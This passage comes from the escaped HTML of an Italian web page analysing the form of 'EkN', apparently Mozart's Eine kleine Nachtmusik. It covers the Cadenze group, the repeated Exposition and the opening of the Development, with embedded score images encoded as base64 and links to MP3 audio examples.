NqEkcHSFmFpS\/T\/t75pt9wrnrg7u4CajD54eWULn49L1SZzJ7edaB0Tdj\/a9AzJxz0bcWITlqWqUvlPZhUt1Xod+fIMVZhsefNs7LBbZ2ndZn7D3cxTpM2Zp\/L\/DjguwPf3z\/628Pn92QyULc8hUoXIPDFjdd8EhsZ2+o8j0qVseY7XR1pxk7x1dxSm1+wGSZswMljaIqxuiVPgn75Rvwb\/XlvOrQnGlCXm4GezKHw+LlWbtJe8u8FGhOx+tOkZko9bOJumNOGlPFW6\/JNZdcu2ZEfKSIMUZlrePIe\/EanZxH8f5PJP8suZ83I5Iiv\/9d8brHFDnx2h8PmT4brLlucQqUJknpixum8Cc2M7\/ZuJdClbnuP1kVbcJFvv1MbqNbtB0iaMDJa2CMv53fxLnAXHsCebG2wRXdyaZkxlYip\/NpHC5+ND3fPzRM7TyTV5AqJ2P9r0DJkHPX6VaHofliWpUuWfzIqaYcl+t1CSYL2cnR2FaZY3z2lvRGrSn\/3tEiuaM2ShpDW6h7nM1mugQoNdBpsuW55DpAqReWLG6r4JzI3t9G8m0qVseY7XR1pxk3x4w++0MscAABAwSURBVDZIr9kNkjZhZLC0RVjL6idCx5BfUb\/XVlE\/37ASxSzB2UQKn48Pdc\/PSHk6+frSG7IdDd036gPEr8Kspf8edPTKdjG9SvXfnxh1+qrF7BUTFWZUmGO5IB3eiNz6ciHl84OkkjBk+Qy5NCJP92OeDfTnWIXPx4e6IVueQ6QKkXlixuq+D8yN7fRvJtKlbHmO10dadJPkroc3utuYvQ7LW73IfRMmn2y8yoJEdkvMGp3NpfD5+FD35IyUZLefvm9M2V0nbulhK\/vc3Crd\/f6UqBkWLnjHmKIwncIEy9WIfiNS\/mbDBNJKmPDqBLkwIk\/3Y54N9OdYhc\/Hh7ohW55DpAqReWLG6r4PzI3t9G8m0qVseY7XR1p0k+Suhze625i9DmvboM5942We6RQ1BQnuk7BR\/hyo8Pn4UPfkjJRkt5++b0zZWidu5jHL2sXcKt39\/pS00xduyqYRrzCXwuzKpQh9I3L5zfpB869lwoR150ipXbrnGXHYPwf6c6zC5+ND3ZAtzyFShcg8MWN13wrmxnb6NxPpUrY8x+sjLbpJcteTG92dzF6HtW1Q577xMs90inJBpjRJzEBnMyp8Pj7UPTkjJdnqp+8b8Vvr3M08Zlmfm16lu9+PT5th7WbtG8EKcynMrlyKNd6I3B03g4QJq0+ToFKHlehsFoXPx4e6IVueQ6QKkXlixuq+G8yN7fRvJtKlbHmO10dadJPkruYb3c3MXoeF7VHqvtnSTnOWQkFmtUfMWGeTKnw+PtQ9OSO1GZSk49EaRg9eoLnb+CqXlelVuvXlKWmnL9z03SPS2SwKUyvXIe6NSM2Re42bQcKEd0+V0VMIK9HduWRbu2x5DpEqROaJGav7npAz9psbqZJIl7LlObJGihQ2o4CBOBPcVGnNXoeF3S1pzmr3bYOcc5zorCATz8SYse5OKmHn5IyUZIefu29MuX7NvWJGLu4T06t068tT0k5fu7t7Rc5Oe6gw5XJ9vBEZJWHCs1a4ewp1zDN6iO+Bbo2Vbe2y5TlEqhCZJ2as7ttCzthvbqRKIl3KlufIGilS2IwCBuJMcFOlNXsdFrZHPfvGXrECQ\/1ZkLltEzPc3Xkl7JyckZJs7xP3jSknzvQdfolrzfRs9UNP3H6nL1\/wXpFTYdbl7bSlUvW1vrUkt46Wf40TJvwX6awh4mubsET\/ZAuWLc8hUoXIPDFjdd8csi3ZP9lSZctziFQhW54ja6RIYTMKGIgzwU2V1ux1WNgexeybfNEijPNRkAznYM41SpgqbaQMG\/vEfWPKiTN9h5++b9SYHqx+9Inb7\/S1W6KXRitMvLypeiMySsKEPyMVemJKnlSyBcuW5xCpQmSemLG67xLZluyfbKmy5TlEqpAtz5E1UqSwGQUMxJngpkpr9josbI9i9k2+aBHG+S5InhMw5xolTJU80tx2mrVvTJzs3H6Yvm9cypCtcvRZlcxQomOXW5eHChMvX6wvtmAAAAAAAIClfb4RaXgD83Gs8jcrD9tl0AwSJswWKVueb9mCZctziFRh2Nb9t7AZ9T1gx6P1ki1VtjxH1kjZzC7Jp5yRNluRnEsP3JJ8M6\/RN\/miRRhn7oXmLNKsoQsSphKpIH7fyHDuTPTy6Ve6LI4y\/pPkYjRRYeLlS3bcG5H6bfH5oBkkTJgtUrY837IFy5bnEKnC2c47SNiM+h6w49F6yZYqW54ja6RsZpfkU85Im61IzqUH7sq8mdfom3zRIowz8SpTiDRx9DMJU4lUELlv5Dl3JlKBGoXi6KIPL69GYeLlq3Z7seorXr8w5a+ttcYJQ2aLlC3Pt2zBsuU5RKpwtvMOEjajvgfseLResqXKlufIGimb2SX5lDPSZiuSc+mBBpn380t9Y69YgaEmXmUKkSaOfiZhKpEKwvaNPCfOXCpQ46w+uuhPb65JYdblq\/ajStVX\/NbXLsdaYoEThswWKVueb9mCZctziFThbOcdJGxGfQ\/Y8Wi9ZEuVLc+RNVI2s0vy6eWRYsbKufRAm7T7+aW+sVeswFAJL\/rTA\/wpYSqRCmL2jWznzkQqUOPP+uiigtfWpDDr8q\/1oDcilyl\/fqfLWNMlzJktUrY837IFy5bnEKnC2c47SNiM+h6w49F6yZYqW54ja6RsZpfk08sjxYyVc+mBZmm39LK+mZeb\/mgJr\/gZMvyWMJVIBQH7RsJzZyIVqPG7RLro0jsrU5hy+df60zI19GL5y5e7Z2PQcAmjZouULc+3bMGy5TlEqnC28w4SNqO+B+x4tF6ypcqW58gaKZvZJfn08kgxY+VceuCJtLt6Qd\/Aa809QMIrfoYMvyVMJVLB0H1jiVvlYIpQ42eJdFG9F9anMN\/yr\/UONerbkX8eZ8WmTxg1W6Rseb5lC5YtzyFShbOdd5CwGfU9YMej9ZItVbY8R9ZI2cwuyaeXR4oZK+fSA8+tdXb3TbvQxGMkvNwnifEhYSqRCgbtG6vcJ8dThxr\/SqSL2ryqSoXJlvunT4E69uXvgyza9AnTZouULc+3bMGy5TlEqhCZJ2as7ptwtiX7J1uqbHmOlJG4dHYv+B5hRQ4YCKCg715kW\/sQf3G5lCTGh4SpRCrovm\/MvSVjD7qISoWuKLfQkF3v+XG6HzZewsDZImXL8y1bsGx5DpEqROaJGav7Ppxtyf7JlipbniNlJC6Vf5q+QViRAwYCKOi7F9nWPgRfWWrkSfJTwlQiFXTfNybej7ENXUSlQmOUu6hzM3Xp0f8Lt3LTJ8ycLVK2PN+yBcuW5xCpQmSeRR\/2ZVuyf7KlypbnSBmJS4Wfpi8RVuSAgQAK+u5FtrUPwVeWGnmS\/JQwlUgF3feNWTdj7EQXUanQG+XtqH8\/PW\/WPTo+YfJskbLl+ZYtWLY8h0gVIvMs+rAv25L9ky1VtjxHykhcOrsXfI+wIgcMBFDQdy+yrX2IvKxUShXmW8JUIhV03zdm3YyxE11EpUJvlLejUf30pGX3aPeE4bNFypbnW7Zg2fIcWSO9WViF+x6w49F6yZYqW54jZSQuzducsggrcsBAAAV99yLb2ofIy0qlVGG+JUwlUkH3fWPKnRib0UVUKrRH+bfh2Ja61b6b9XrCKWSLlC3Pt2zBsuU5skZ6s7AK9z1gx6P1ki1VtjxHykhcmrc5ZRFW5ICBAAr67kW2tQ8Jt\/psef5JmEqkgu77RvxtGPvRRVQqdEj5t2FQV939ybpBuyecQrZI2fJ8yxYsW54ja6Q3C6tw3wN2PFov2VJly3OkjMSleZtTFmFFDhgIoKDvXmRb+5Bwq8+W55+EqUQq6L5vxN+GsR9dRKVCh5R\/G87sqsvQwXn6Spg\/W6Rseb5lC5Ytz5E10puFVbjvATserZdsqbLlOVJG4tK8zSmLsCIHDARQ0Hcvsq19SLjVZ8vzT8JUIhV03zeC78HYki6iUqFJyr8Nvy6\/BwAAAAAAsK7PNyKp\/Iy4qIT5s0XKludbtmDzdomS2VX5NLsek80uf4ucsbOlypbnSBkJABjBRT+\/nL8XEnaOSGFW\/5VKErqI0ZL21gZ9nzB\/tkjZ8nzLFqz5KflQs6vyaXY9Jptd\/hY5Y2dLlS3PkTISADCCi35+OX9KJOwckcKs\/iuVJHQRo+XtrdX7PmH+bJGy5fmWLViX29zuZlfl0+x6TDa7\/C1yxs6WKlueI2UkAGAEF\/38cv7KSNg5IoVZ+icqeegiRsvbXqt3f8Lw2SJ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alt=\"\" width=\"648\" height=\"63\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-3\u00b0-Cadenza-a.mp3\">EkN 2\u00b0 Cadenza<\/a><\/p>\n<p style=\"text-align: justify;\">Gruppo delle Codette completo: <a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-gruppo-delle-Cadenze-completo.mp3\">EkN gruppo delle Cadenze completo<\/a><\/p>\n<p style=\"text-align: justify;\">Termina qui la Prima Parte, l\u2019Esposizione, che viene, secondo il solito, ritornellata.<\/p>\n<p style=\"text-align: justify;\">La Seconda Parte, lo Sviluppo, \u00e8 costituito essenzialmente da due elementi tratti uno dal Primo Tema, l\u2019altro dalle Cadenze. Comincia a b. 56 con lo squillo ritmico del primo Tema (prima Frase)<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAABTQAAADeCAIAAACMkhgaAAAdvUlEQVR4nO3d3Zqktq4A0H7\/l65zkew+pLqgjJHlv7Wu8vWALUs2oJlk8vMCAAAAuvrpHQAAAADsTnMOAAAAnWnOAQAAoDPNOQAAAHSmOQcAAIDONOcAAADQmeYcAAAAOtOcAwAAQGeacwAAAOhMcw4AAACdac4BAACgM805AAAAdKY5BwAAgM405wAAANCZ5hwAAAA605wDAABAZ5pzAAAA6ExzDgAAAJ1pzgEAAKAzzTkAAAB0pjkHAACAzjTnAAAA0JnmHAAAADrTnAMAAEBnmnMAAADorKg5\/zlRM9+DewEAAGBJ35vks878VoP9sKUHAACAhTVvzrXlAAAAcO1Lw\/ywo9aZAwAAwFetmnNtOQAAABS66pyf\/61vOnMAAAD46ntzfrfNrv5L4wAAAGBPp81z3V8CpzMHAACAu2r+tvbCi+OCBAAAgJXV\/Mvqhdf4U3QAAAAocaNn\/tppn3Xj+nMAAAC4ENacF\/5qfaQAAACwqHvdcnVzfn0vAAAA7Cy+Oa+4FwAAAHYW05yX\/MVvmnMAAAD4SHMOAAAAndU052c\/v268NecAAADwUVJzXvJH6wAAALCn2\/8rtYtf8u+0AwAAQAXNOQAAAHT2+a92+3Bd2X9SfvFLOnMAAAD46D8N89l\/GV7SWp914DpzAAAAuHbanL8pGuvPxTpzAAAA+Orq\/1he0Vc\/vB0AAAA2pHkGAACAzjTnAAAA0JnmHAAAADrTnAMAAEBnmnMAAADoTHMOAAAAnWnOAQAAoDPNOQAAAHSmOedfPz82AwAAQB8D9WOaw77kHwAAoJdR+rGf\/+kdyL4kHwAAoJch+rGf\/+odzqZkHgAAoJf+\/djPH70j2pTMAwAA9NK\/H\/vbnOsSu5B2AACAXjr3Yx87c11iF9IOAADQS89+7Kwz1593IecAAAC9aM75l5wDhPBSG5CizEW9tqX0bK7bdr\/uzB3FfBIO8IT32oAUZS7qtS2lh38M1Jz\/\/dWEAJpOMRfZAKhT8lnp+zKZosxFvbal9HDUZ5d\/PWkJh9AhfyMbAHfd+qz0fZlDUeaiXttSevhr0Ob8Fdc8n43jhL+RDYBb6r4sPWybUpS5qNe2lB4+6t+cf70sZK5Gg69ENgDKVX9Zeti2oyhzUa9tKT2c6bDFyw9YyCE8G8QJfyMbAIWefFl62DaiKHNRr20pPVzQnPMv2QB48\/Aj0rdmC4oyF\/XaltJDhQma84cH72wER\/qNbAC88XE5IEWZi3ptS+mhQs\/mPPDKr4OU\/3xbsgFQwqfkgBRlLuq1LaWHa9m7\/NYBCzmKZyMcf+60vyQBoIAvyzEpylzUa09P6q70bGL35tyB\/yUJAF\/5shyTosxFvfZUXXelZx\/dmvPwi68H+TumM\/9GEqpJ3VzUiyd8Vo5JUeaiXnuqqLvSs5tdmnMn\/ytJqCZ1c1Evnvhn\/\/iyHM2tiihKd+q1px\/PT\/hm8ebc4S8nCdWkbi7qxRO\/+8ebZSg\/xR\/9vSPl9VKvXXl+wlfjNucPj2jJsfcIOJKEarbQXNSLJ942jxfKII5pV5TxqdeePD\/hqz7NefmV1Wf1rAn3FDgjFdVspLmo11bCH\/s2z5jUpZ0W307q1c7I37rjRPJm5KS1sNt655JaifLyP98uH7edjXhBNqrZTnNRrx20e\/7bOWNSl3BNP6LUK9wUH70jxHA0RdIC7bbeSW3XnL9dUDHyqmSjmifaXNRrbSUfHw9fLuEx85y6BGp9iF7qFSqhXoGh9g3gV3jSRkjvhYk2CSM25yG75OsI9t8b2ajmiTYX9VrVrY+P6j1g24xJXULkHKKXegVJq1dgwB1n\/42hRdK65\/bMdJuE4ZrzqC3ye9fZCDbfG9mo5nE2F\/VaUt33R8UesG3GpC7PpR2il3pFyKxXYMwdZ39FJO0sh91z+9GMm4Rlm\/O3Act\/vi3ZqOaJNhf1Wk\/190fFBrBnxqQuD2Ueopd6PZZcr8Cw+87+PGlnOeye278m3SSM1Zy32CITnaK+ZKOaJ9pc1GsxT74\/KjaAPTMmdXki+RC91OuZ\/HoFRt5x6pCkneWwe27fRK2XfAM15422yCynqDvZqOahNhf1Wkz1x0dd9W2YManLE8mH6KVez+TXKzDyjlOHJO0sh91z+yZqveR7320AAABAmvfmPOk3Aw5zF\/6+QIsZL35eMlpJkCHBZ5or2qG02Le0E1gvte7u+vXxVd2M4avYUPjZUZdq+YfopV4PJNcr9qj2qntg0s4SEpuohwLXS45j5jXnNaOVBDnd\/p4r2qF4us0lsF4K3df1u+Or6kljV7Gn8LOjLtXyD9FLvR5IrlfsUe1S9ycZ+xvwWUKOP++yzL\/BhKyXHP\/ZPx3nPv6k3RaJPUXlcU63xeeKdiiecXMJrJcq93X9+rj2ZNLAJWwr\/OyoS7X8Q\/RSrweS6xV7VLvUvTpjH6O9\/vnDbEcJXC85jvnv3Jwn7JLYU1Qe53S7fK5oh\/Jz+F0eT7rxBdZLifv6+gZpcSRVPET42VGXavmH6KVeDyTXK\/aodql7RcYu4nz71RY5fy5wveQ4VqFbc562UWJPUfnt0+31uaIdyvUG6xgYHwXWS4n7Kn+bBJ5HFQ8RfnbUpdqtExSVZ\/Wqllyv2KPape4\/oW+KnLQ\/dGux3aPl1bc5f93ZMZnTPRzt7MqQJeSYK9qh\/E2dp97IAuulvn39Jj\/wIV8+6Rp67eHweRerS6af3D8yOU5KheR6LfD8DHxTlIwQflgqJG+SbTU6aOM255lzlU9Xfvt0m36uaIdysQE8\/gYUWC\/F7est+e1eJReTLqDLNg6fdL26pDmmLucQvdTrgeR6xY7Zpe4hb4qPd11otpoiXQ71nqLyeRynz\/s4YU83OkXlt4+5+y+CHzDaWZyl7vmubnQ6NhdYr+cV2afELVbaJVdLFih\/UeFbfcm65HCO5pKcutijOu9m+\/gKC3mvLfNy3FbgBvv3n58Pd3fiFjs7ba7yQaIWEiIt7Xu6Tl1FehWrqcB6VddinxI3XWmXLC1TmqP8LRc+45J1yVH+uMuflL+S6xV7VOd9aJe8y25NtN7LcVshZ+Q4SF7xCrd17NMkfK7ycQLX8kR52keIdlLXqbuVYfVKEF6vu7NvUuKElXZJ0ex1OZO85cKnW7UuCQpTF1sy9aqWXK8F6h6Yh4uXV3miVn057uz5MTmOkFS81ruwfMa3C8KHfTh+oPKct8j\/Vr7mrSTD6pUmpF7HK8vn3aTEaSvtkp9Ji1Iic2nh23vhurR26yGWPylvkusVe1TnfWh\/fWGVJGrtl+PmHub8WOuM4jXdf4WTnl3wcNjw8aOU57xdCfZRkrfrDKtXpuf1eruscNJNSpy50i75mbEohTK3XPhcC9eltfLUBVZNvaol1yv2qM770P4d5CwhXxO1\/Mtxcw9PyvH25sVruvmu5z0GcBZYxbCFwbdYVKF7h75lFTZRmLfrraJeaR7W6+41r51KnLzSLvmZrii3pO268InWrktTt1IXlWf1qpZcr9ijusBD+ywh14na4eXIk8NyvLdh8VrvvFthlP+8ZLSS+Fuv626E3QuxsMK8fUyyeuV7Uq+P1xSOs3yJ81faJT9zFeWutI0XPsvadWnqVuqiCqde1ZLrFXtUF3honyXkIlGbvBx5WLLfG4doztvF8Ko6RV9HK1lCwtJuRThCLVZVmLePSVavfE\/q9fGawnGWL3H+SrvkZ66i3JW28cJnWbsuTd1NXUiq1atacr1ij+oCD+2zhFwkapOXIw9L9nvjz9tPAQAAgDTvzXmgu0E0dTZRXQDlC0lbYEl445RjSeWpe8uzenVRXa\/qC3YocZeVdknRXHW5K20Hho+\/dl2aupu6kNqpV7XkesUe1QUe2mcJuf75Di9HntTueEt88VpvuLp4yn9eMlrJWjLX+DW8oSqynvLUHfOsWL3U1evJBTuUuMtKu2RputLckrYPwwdfuy5N3U1dSO3Uq1pyvWKP6gIP7bOEXP98h5cjTyp4vD64eOW7LW3f3D1FJaOVZP\/huapTmP++FSnxNb1DKY\/wuJzqYo2ZkPEj\/FVXrycXrFHia11W2iVRM1anUOZWDB98pbokPw0qpngelXo9mS7hluO9gYta4KF9lpDjz48X7PNy7Cv5GH4N4G4Y\/9k\/rcM6CzQtd7ETlR+hLpujsAQfI8+P9kxhhsdRHt7fI1Bdr6FMFOpr+Ob8xkpG0mWlXdI1b42+ytyT4SMvU5f8x0LF+M+jUq8nM1bcUh1V7IoWeGifJeRsD1y+Bls9cpc5X4Xyj2FhDOVhHC9u3rWexZeWuNiJylP\/dd5Gu6ekEGcViY2kTnmGx1Ee3nEtP\/\/7Fxbq6jWOuaJ9jd2c31jGYLqstEvGpi7TheSdGT7sGnXp8mSoGP95VOr1ZNKKW6qjil3RAg\/tt4R83QPXj9ZGm2eN81WoyzEsjKE8kuOVYZugYrfNuHVure5igU030NTlKA\/49\/rM8B7GcFzL8R8q6jWO6UpWV6\/qC17zl7hEl5V2ydsCxforf3OusRnC3S1ByKorBnlePvV6MmnFLdVTxx7VBR7a315x73vgZ5uXYy9djmFJALfKerw4qTk\/uytk9kzlC\/y6MxodyOtQr69vEcZdURnOVHn2Pv27JAkbI9x0JaurV\/UFbxfPWOISXVbaJYErVe3X2Slut9jwwdeoS5fH6d1xQvaGej2ZtC7I6ukCizX7Q\/viUXm2B362eTn20uUYlgRwa67j9TG\/h1e4QS\/imEXUDqguXjvjhFGS4UlT93PyvJ7adCWrq9fZBdfXjLDeHF1Wus+kTZ0d4aYHNnzwNerS5XF6d5yQ2dXryaR1QVZPF1iseR\/a18\/Jiz0w75JbKDkvIWO2PoZfZ7871\/H6VhkpCatFjlorX+b16qqL184gYbw+JfnslzoGeVQYyd+1NIso21wlq6tX3TWDLDlBl5XuM2k7Zy+11gc2fPxl6pL\/OL07VEgA6vVkxroIq6frGPw4k14\/Ki8KPe+SA1Xk7eH4Z7\/0eClf5q2e63hL2+a85PaHASQrX+nXDDTaKNXGieQfX\/M8TsCFkbwtYZz4o8xSsrp61V0zyJITdFnpPpM28vAN\/nzq2AEDR+su83F6d6iQHaJeT+aqi616uo7BjzPp9dPyIsnzLjlEYd5CtlnmMTybrnotx7uCf6Pibljj7J5C5YsN2WeZpot2nIDrdvs48ecYp2SBT6evixpkyQm6rHSfSRuJ\/baomDp2wMDRBhebvVtDRW0P9Xoy2t2pn8zeMfihJv36nLxoB57PftcI5+v6\/ZL\/3mnx0glcyPGuVs15+QhPAshXvt7WmyycaKuVBPN3Pwy1hATjrLeuXnWXjbPq1rqsdJ9J24n6sKibN3bAwNEG1zF1UTtEvXJGe16v2KM670O7+rN\/3iU\/DKBO05BajBm1iuONT4\/rw5haVyJc+ZJnXFrvEEqNltuSYP7GPNQSWhuqZHX1qrtsnFW31mWl+0zaVNS3RcWksQMGjjayjqkL3CHq9WTAW1M\/DCA2\/nkf2r+D3P3sn3fJT2av1jSkdiM\/X8XxxvjmvDqUKZSvesal9Q6h1GihlsTz95rRVtHUUIutq9fZZddXDrXwprqsdJ9Jm0r7PPo7aeyAgaONLHyl5QMG7hD1ShgwpF6xR3WBh\/bdz\/4Flnx36ifaRdVu5JAlHO99NERIWv+5Jac2z5WvevCF\/DVLtAMmti6e0VbRzmglCwzm69KGWnhTXVa6z6St5b+Cwydasi5\/tShQ4YCxO0S9noxZPvXzAGKXsMBD++5n\/wJLvjv1E+1CajHycfyHSzje+\/P2UwAAACDNe3Ne\/TsEbyNW3\/411hGURzha5F\/NEm1ynO226CwJfy5zpcmPlK+jDVXlppnpstJ9Js0RfkC+zhU7YOBow2qxzK9jNnp4Rg01sgXqtUDdwx81Hwe8+Hng7IV6na+Sz4wWXyBfo2o08tssT1ZxvDe1OR+zZreUxzZOzIWmiDYzq6035xQJfy6tZF0eJl9HG6TKCcnpstJ9Jk2TfGBjBwwcbUyNqnMxZqMn5\/Wky1ijXuEvzaihek16lpCLnwfOXqjXpE80jarR4IFzHe8Na87r7hqkcuXKAxsk4HJTRJuT1ZzNOUXCn0soWU69Lqa+viBkomppyemy0n0mzZRwZlvMsnxdXunNXotn5tdJV7JGvcJHixqq16RnCbn4eeDshXpNWq11VO3Gj5rueGNSc\/6kYGn1K1Ee1QjR3jJ+tDkpTduZ4yf8uYSSpdXrYvbrC0ImqpOZnC4r3WfSTAnHtsUs6vJk5LPpwp+Z15OuZJl6hY8WNVSvSe8mZIEll0+a871xN6SmU0TNeLyxpqO4m9m6avUqZN1azq4sGapZsPeME8mZhHRlbsvxE\/5c65Jl1usigOsLQiaqkJycLivdZ9JkrU9uiymWr0u7ovwdttED83rSxSxTr9gBF3ho303IAku+NWnrj427IeWnom7S413Nm\/OSwvwdpG8tL5SHdB3qOCv6NUgYZxIS9XWvxm7LwRP+XOuSJdfrIobrC0Imuis\/OV1Wus+krf3dAIHH5GLG2AEDRxtN03IcR273tLyYdD0r1St2zA0f2vss+XfSdl8ad+PJyUPIC\/R4S7fm\/Cygkntzcv1ReTzXcQ6ynKNBwjiTkKiL\/VaiYroWqxhH65Il1+sihusLQia6Kz85XVa6z6RNJZyUs0ljBwwcbTSta\/G683kTOOmqVqpX7LAbPrT3WfLbpNf7MyHCpsfwbZbn5\/F4fUBzfjfisyufD5KgPPvXcQ6ynKNBwvgoIVFnlS1UN2P4KsbRumT59boI4\/qCqLnKdUlOr5XmT7qYzPPyd94WI6+naSFel3ug0YxrW6xesSNv+KbYZ8m3Jm39hMl5iAW+QI8XZzfnJTF9HSQh3WfKgylZb9+1vBkkjI8SsnRW2UJ1M4avYhytS5Zfr4swri+Imqtcl+T0Wmn+pCvJPzJvU4cPu6TWuUor+iYWq1fs4Bu+KfZZ8t1JE45Ju\/Ff0S\/Q45WpzXlhTCWT9jpp5XkvT06zYO8ZJ5I3OYn6erQuVM8Yu4RxJJQsv14XYVxfEDhdoS7J6bXS\/ElX0uXUHKcOH3Y97Urwd4qmFd\/EevWKHX\/DN8U+S747abutm\/Mci32BHq+cozm\/O2875XnvGGSdYaPNyWT5GYvah8Mm\/LmEkuXX6yKM6wtiZyzRJTm9Vpo\/6TIGPzv8IyFRCeXex3r1ih1\/wzfFPkuumLRRnL2O4ZMX6PGyvOa8ZOSoedspT3rHIOsMG21OJu8es+chDZvw5xJKll+vizCuL2gx77Uuyem10vxJl3F3M8Rmu92pXExConKelptYr16xU2z4pthnyRWTNtrAXY7hwxfo8XbN+T3lxegYZJ0xo80s91lxbx2\/W9M9H2RAaSVLrtdFDNcXNJr6etL85PRaaf6ky8g8KWezp003qZy69NoD61myXrGzbPim2GfJFZO22MNdjuHzGY8j1AxUHsqtiG+N1uukfSzGx2A6BllnzGiT03hW3xYbb8yEP5dZssx6XQRwfUHTAC4mTU5Ox5VSJ\/mwfJw9c8YZ5WSp4zZYzJL1ip2ly2bru6v3eTlWTNpiG3Q5hs9nPA6iOb\/nbzHOgukYZJ0Bo+1V68ISP58lfMzuupQsp14XU19fkBPJ2aRpyem+Uu7qdWqOs2fOOJ20uvTaA4tZtV6xE318JbV+T\/Xd2Pu8HOsmDa91\/jEMmfE4yJdvOAAAAKCd9+b8yW8YlFxZOGzIpO1cZ\/PvlfkRVpsr2gVI+AJKHoBpwZiUuzq+Vad7RS6s72cVdyXXK3au06YkyNmkUfFX6DL7RJPO+\/Ap2Xt3R\/v3n1sHdCvu68tis1Cn\/HEw3W6bK9oFSPgCSh6AacGYlAq93qrTvSIX1veziruS6xU719lXdI6oVdxdskmv7+pVmucCd9dxkPqxygMqj\/v6su4H7KU5J46EL+DrMZ\/oBWnSbXV5t073ilyYWsxl6qN69hXdXdQCPy653eCzT5qQ\/9aidtFxhICBSgK6ddnXuTpWsfxUT7fb5op2ARK+gK\/HfJYXpEk3l\/9une4VuTC1mMvUR\/XsK3pkz5cckrolJ41Kcl8hqziOkNSc\/5344pqQuRopP7rdQ71rrmgXIOEL+HrMZ3lBmpTkN+x0r8iFKcRckusVe1S\/9MGzKVxyVPbKzTLprUyO7PlCjrfH\/CvytwK6vvjjL1XM0kj5+Rwh2lvminYBEr6Ar8d8lhekSXnlfidN94pcmELMJbleTY\/ql953cr9rbJS968ROMelbrqb2cC3\/2TOB0YQk9+M4sVM8cX0C\/16ZH2G1uaJdgIQv4Osxn+UFaVJ+5by8pntFLkwh5pJcr15HtaD5nVhC9lpP8XzStGxkql7R8caYjARuuL+DZO7mr8qP2SABl5sr2gVI+AK+HvMpXpAmJd90r0jY04BH9VYbPJ2oFIWM03TS2CXP7piKJv8ZyfNxwoeNUn6Wxom50FzRLkDCF\/D1mE\/xgjQp+aZ7RcKe5jqqt1vhqdzKQ7skh0xat66FHVMRnJGQRP9\/cONVrvzADBV2ibmiXYCEL+DrMR\/\/BWlSupjuFQl7Wumo1jTEk\/i70i7pvXXxx8i3dcxGfFIu9krFCKOVrfBUvCZ8nM0V7QIkfAFfj\/n4L0iT0sV0r0jY0yZH9X47PLouOSy\/smOcYzpmI+MvYMy8t7XyMzBm\/BfminYBEr6Ar8d88BekSellulck7MlRrWiMR9AlUYWXdQxyWMeEtM3LrY3SfVeVKD8DI6\/io7miXYCEL+DrMR\/5BWlSOpruFQl7clQv3OqWk3XJRsk1HSMc2TEnSam5u5mGrVn5GZhu580V7QIkfAFfj\/mwL0iT0td0r0jYk6Narbz3aaHLeq9\/tW94gzumpWd2LsozbOXKz8CwSzgzV7QLkPAFfD3mA74gTcoIpntFwp4c1RaedN2Fuizq4pf6xja+Y2Y+\/0\/LAAAAgATvzflQjiHy3K09QQ4J30GXKpsUABZT0eYlh1cSc35g0xk0R+oXZfCTvDMJ38E4L0iTAsCSRvikf5tUo1Ft3DQp4UO32nLHJp9s72CEF6RJAYCmft\/IWoyHxs2UQj5R15lLeCbZ3sE+Les+kwIAb\/QXUcZNllpWq+7MJTyTbO9gn5Z1n0kBgDeaiyht8\/WkNspZ50lnLuGZZHsH+7Ss+0wKALzRWURplbLn7Z+K1tGcz0K2d\/DwPPJV7woDAJrzME1SFvU5paJ3+cyFoTw8knzVu8IAgL+ePUx81gK\/qBT1Lp+5MJSHR5KvelcYABjif+e2htGbc6W9xTcuDOXJkaRE7woDAJrzMMGJi\/2oUtq7fODCUKqPJIV6VxgAePS3gHOkOV+KT1sYSsWR5JbeFQYANOdhRm\/OY8Pbge9aGMet80iF3hUGAF5ezVE05wvyRQsAAOTQZUQZtzlX3Yf05AAAQGt6jSiacwAAACppzqMM+r9SU10AAIDx6d2ijNic+60XAACAKejdovRpzktGCA8MAACAWNq3KE2S+LAtV1oAAAC20qoNvtuWv3TmAAAA7KphJ+wPzAEAAKBE83645D9B15YDAACws6SuWE8OAAAAZ7THAAAA0JnmfFP+\/QUAAIBxaMy289aQ688BAAC605Xt5WNnrjkHAADoS1e2kb99uOYcAABgBLqyXWjCAQAAhqVb24I\/IQcAABiZbm0LmnMAAICR6dbWpzMHAAAYnIZtfZpzAACAwWnYFvdz0DsWAAAAPtOwrennXO\/QAAAAeKdVW5yeHAAAYHx6tsVpzgEAAManZ1uc5hwAAGB8eraV6cwBAACmoG1bmeYcAABgCtq2lWnOAQAApqBtW5b\/fRoAAMAstG3L0pkDAADMQue2LM05AADALHRuy9KcAwAAzELntiadOQAAwEQ0b2vSnAMAAExE87YmzTkAAMBENG9r0pwDAABMRPO2IJ05AADAXPRvC9KcAwAAzEX\/tiCdOQAAwFy0cAvSnAMAAMxFC7canTkAAMB0dHGr0ZwDAABMRxc3t7dWXGcOAAAwI43cxP7+rew6cwAAgBnp5SZ27Mz9mTkAAMC8tHNz+znoHQsAAACVdHQAAADQmeYcAAAAOtOcAwAAQGeacwAAAOhMcw4AAACdac4BAACgM805AAAAdPZ\/DkraNZLdAr8AAAAASUVORK5CYII=\" alt=\"\" width=\"402\" height=\"70\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-Sviluppo-a.mp3\">EkN Sviluppo a<\/a><\/p>\n<p style=\"text-align: justify;\">cui segue, fino al termine, la ripetizione di una cellula tratta dalla prima Cadenza.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" 